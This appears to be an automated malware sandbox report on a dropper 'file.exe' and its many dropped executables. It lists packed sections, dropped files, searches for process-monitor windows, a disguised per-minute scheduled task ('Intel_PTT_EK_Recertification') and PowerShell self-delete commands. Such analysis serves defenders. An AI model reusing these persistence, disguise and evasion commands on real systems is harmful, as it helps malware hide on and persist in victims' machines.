Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: file.exe

Static file information: File size 3057152 > 1048576

Source: file.exe

Static PE information: Raw size of ecafqtwy is bigger than: 0x100000 < 0x2b8c00

Source:	Binary string: D:\a\_work\1\s\src\StoreInstaller\obj\Release\net472\StoreInstaller.pdb source: 343658ec78.exe, 00000030.00000002.3293156720.0000000003FDA000.00000004.00000800.00020000.00000000.sdmp, 343658ec78.exe, 00000030.00000002.3293156720.0000000003EB5000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\src\StoreInstaller\obj\Release\net472\StoreInstaller.pdbSHA256\u source: 343658ec78.exe, 00000030.00000002.3293156720.0000000003FDA000.00000004.00000800.00020000.00000000.sdmp, 343658ec78.exe, 00000030.00000002.3293156720.0000000003EB5000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\danie\source\repos\NewText\NewText\obj\Debug\NewTextV2.pdb source: skotes.exe, 0000000F.00000002.3439936346.0000000000E34000.00000004.00000020.00020000.00000000.sdmp, 343658ec78.exe, 00000030.00000000.3115093091.0000000000A42000.00000002.00000001.01000000.00000012.sdmp, random[1].exe2.15.dr
Source:	Binary string: C:\Users\danie\source\repos\NewText\NewText\obj\Debug\NewTextV2.pdbdj~j pj_CorExeMainmscoree.dll source: skotes.exe, 0000000F.00000002.3439936346.0000000000E34000.00000004.00000020.00020000.00000000.sdmp, 343658ec78.exe, 00000030.00000000.3115093091.0000000000A42000.00000002.00000001.01000000.00000012.sdmp, random[1].exe2.15.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.4f0000.0.unpack :EW;.rsrc:W;.idata :W;ecafqtwy:EW;sufudceg:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;ecafqtwy:EW;sufudceg:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.4b0000.0.unpack :EW;.rsrc:W;.idata :W;ecafqtwy:EW;sufudceg:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;ecafqtwy:EW;sufudceg:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 3.2.skotes.exe.4b0000.0.unpack :EW;.rsrc:W;.idata :W;ecafqtwy:EW;sufudceg:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;ecafqtwy:EW;sufudceg:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 15.2.skotes.exe.4b0000.0.unpack :EW;.rsrc:W;.idata :W;ecafqtwy:EW;sufudceg:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;ecafqtwy:EW;sufudceg:EW;.taggant:EW;

Suspicious powershell command line found

Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe

Source: random[1].exe2.15.dr

Static PE information: 0x94370F66 [Sun Oct 18 12:19:50 2048 UTC]

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: in.exe.29.dr	Static PE information: real checksum: 0x0 should be: 0x1c320c
Source: 7z.dll.17.dr	Static PE information: real checksum: 0x0 should be: 0x1a2c6b
Source: 4e4758e1fa.exe.15.dr	Static PE information: real checksum: 0x1e0a5c should be: 0x1e7f9d
Source: 212ab81242.exe.15.dr	Static PE information: real checksum: 0x1a555c should be: 0x15e8ab
Source: a165d57aad8045aabeccfce221a720ca.exe.48.dr	Static PE information: real checksum: 0x0 should be: 0x243ba
Source: 7z.exe.17.dr	Static PE information: real checksum: 0x0 should be: 0x7b29e
Source: random[1].exe0.15.dr	Static PE information: real checksum: 0x4488ca should be: 0x44a6bd
Source: 1c9c0bfc1e.exe.15.dr	Static PE information: real checksum: 0x43b525 should be: 0x440919
Source: random[2].exe0.15.dr	Static PE information: real checksum: 0x1e0a5c should be: 0x1e7f9d
Source: 952a8c77c9.exe.15.dr	Static PE information: real checksum: 0x1c62ca should be: 0x1d1e3d
Source: random[2].exe1.15.dr	Static PE information: real checksum: 0x1c62ca should be: 0x1d1e3d
Source: random[1].exe1.15.dr	Static PE information: real checksum: 0x1a555c should be: 0x15e8ab
Source: file.exe	Static PE information: real checksum: 0x2f70e7 should be: 0x2f6340
Source: random[2].exe.15.dr	Static PE information: real checksum: 0x43b525 should be: 0x440919
Source: 343658ec78.exe.15.dr	Static PE information: real checksum: 0x0 should be: 0x14b59
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x2f70e7 should be: 0x2f6340
Source: 5ec1855a88.exe.15.dr	Static PE information: real checksum: 0x4488ca should be: 0x44a6bd
Source: Intel_PTT_EK_Recertification.exe.31.dr	Static PE information: real checksum: 0x0 should be: 0x1c320c
Source: random[1].exe2.15.dr	Static PE information: real checksum: 0x0 should be: 0x14b59
Source: 87322bc62a3f46ebac8ba4f227f3c48a.exe.48.dr	Static PE information: real checksum: 0x10c5c5 should be: 0x10b49f

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: ecafqtwy
Source: file.exe	Static PE information: section name: sufudceg
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name: ecafqtwy
Source: skotes.exe.0.dr	Static PE information: section name: sufudceg
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe0.15.dr	Static PE information: section name:
Source: random[1].exe0.15.dr	Static PE information: section name: .idata
Source: random[1].exe0.15.dr	Static PE information: section name:
Source: random[1].exe0.15.dr	Static PE information: section name: hdinlnsl
Source: random[1].exe0.15.dr	Static PE information: section name: luxyrgrl
Source: random[1].exe0.15.dr	Static PE information: section name: .taggant
Source: 5ec1855a88.exe.15.dr	Static PE information: section name:
Source: 5ec1855a88.exe.15.dr	Static PE information: section name: .idata
Source: 5ec1855a88.exe.15.dr	Static PE information: section name:
Source: 5ec1855a88.exe.15.dr	Static PE information: section name: hdinlnsl
Source: 5ec1855a88.exe.15.dr	Static PE information: section name: luxyrgrl
Source: 5ec1855a88.exe.15.dr	Static PE information: section name: .taggant
Source: random[1].exe1.15.dr	Static PE information: section name: .eh_fram
Source: 212ab81242.exe.15.dr	Static PE information: section name: .eh_fram
Source: random[2].exe.15.dr	Static PE information: section name:
Source: random[2].exe.15.dr	Static PE information: section name: .idata
Source: random[2].exe.15.dr	Static PE information: section name:
Source: random[2].exe.15.dr	Static PE information: section name: cgufevln
Source: random[2].exe.15.dr	Static PE information: section name: qfofwegu
Source: random[2].exe.15.dr	Static PE information: section name: .taggant
Source: 1c9c0bfc1e.exe.15.dr	Static PE information: section name:
Source: 1c9c0bfc1e.exe.15.dr	Static PE information: section name: .idata
Source: 1c9c0bfc1e.exe.15.dr	Static PE information: section name:
Source: 1c9c0bfc1e.exe.15.dr	Static PE information: section name: cgufevln
Source: 1c9c0bfc1e.exe.15.dr	Static PE information: section name: qfofwegu
Source: 1c9c0bfc1e.exe.15.dr	Static PE information: section name: .taggant
Source: random[2].exe0.15.dr	Static PE information: section name:
Source: random[2].exe0.15.dr	Static PE information: section name: .idata
Source: random[2].exe0.15.dr	Static PE information: section name:
Source: random[2].exe0.15.dr	Static PE information: section name: enuobymw
Source: random[2].exe0.15.dr	Static PE information: section name: cncgxjdr
Source: random[2].exe0.15.dr	Static PE information: section name: .taggant
Source: 4e4758e1fa.exe.15.dr	Static PE information: section name:
Source: 4e4758e1fa.exe.15.dr	Static PE information: section name: .idata
Source: 4e4758e1fa.exe.15.dr	Static PE information: section name:
Source: 4e4758e1fa.exe.15.dr	Static PE information: section name: enuobymw
Source: 4e4758e1fa.exe.15.dr	Static PE information: section name: cncgxjdr
Source: 4e4758e1fa.exe.15.dr	Static PE information: section name: .taggant
Source: random[2].exe1.15.dr	Static PE information: section name:
Source: random[2].exe1.15.dr	Static PE information: section name: .idata
Source: random[2].exe1.15.dr	Static PE information: section name:
Source: random[2].exe1.15.dr	Static PE information: section name: ogquhcng
Source: random[2].exe1.15.dr	Static PE information: section name: zctwxjzx
Source: random[2].exe1.15.dr	Static PE information: section name: .taggant
Source: 952a8c77c9.exe.15.dr	Static PE information: section name:
Source: 952a8c77c9.exe.15.dr	Static PE information: section name: .idata
Source: 952a8c77c9.exe.15.dr	Static PE information: section name:
Source: 952a8c77c9.exe.15.dr	Static PE information: section name: ogquhcng
Source: 952a8c77c9.exe.15.dr	Static PE information: section name: zctwxjzx
Source: 952a8c77c9.exe.15.dr	Static PE information: section name: .taggant
Source: in.exe.29.dr	Static PE information: section name: UPX2
Source: Intel_PTT_EK_Recertification.exe.31.dr	Static PE information: section name: UPX2
Source: a165d57aad8045aabeccfce221a720ca.exe.48.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0050D91C push ecx; ret	0_2_0050D92F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00501359 push es; ret	0_2_0050135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_004CD91C push ecx; ret	2_2_004CD92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_004CD91C push ecx; ret	3_2_004CD92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_004CD91C push ecx; ret	15_2_004CD92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_004CDFC6 push ecx; ret	15_2_004CDFD9

Source: file.exe	Static PE information: section name: entropy: 7.978599865036931
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.978599865036931
Source: random[1].exe0.15.dr	Static PE information: section name: hdinlnsl entropy: 7.955505893451381
Source: 5ec1855a88.exe.15.dr	Static PE information: section name: hdinlnsl entropy: 7.955505893451381
Source: random[2].exe.15.dr	Static PE information: section name: cgufevln entropy: 7.955588871672889
Source: 1c9c0bfc1e.exe.15.dr	Static PE information: section name: cgufevln entropy: 7.955588871672889
Source: random[2].exe0.15.dr	Static PE information: section name: enuobymw entropy: 7.949127457197466
Source: 4e4758e1fa.exe.15.dr	Static PE information: section name: enuobymw entropy: 7.949127457197466
Source: random[2].exe1.15.dr	Static PE information: section name: entropy: 7.985394828987461
Source: random[2].exe1.15.dr	Static PE information: section name: ogquhcng entropy: 7.954078832220906
Source: 952a8c77c9.exe.15.dr	Static PE information: section name: entropy: 7.985394828987461
Source: 952a8c77c9.exe.15.dr	Static PE information: section name: ogquhcng entropy: 7.954078832220906

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Persistence and Installation Behavior

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1018821001\3514655e0a.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	File created: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1018821001\3514655e0a.exe	File created: C:\Users\user\AppData\Local\Temp\main\7z.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1018826001\4e4758e1fa.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	File created: C:\xxzyi\a165d57aad8045aabeccfce221a720ca.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	File created: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1018825001\1c9c0bfc1e.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1018821001\3514655e0a.exe	File created: C:\Users\user\AppData\Local\Temp\main\7z.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	File created: C:\xxzyi\87322bc62a3f46ebac8ba4f227f3c48a.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1018823001\212ab81242.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1018827001\952a8c77c9.exe	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Temp\main\in.exe

Process created: C:\Windows\System32\schtasks.exe schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
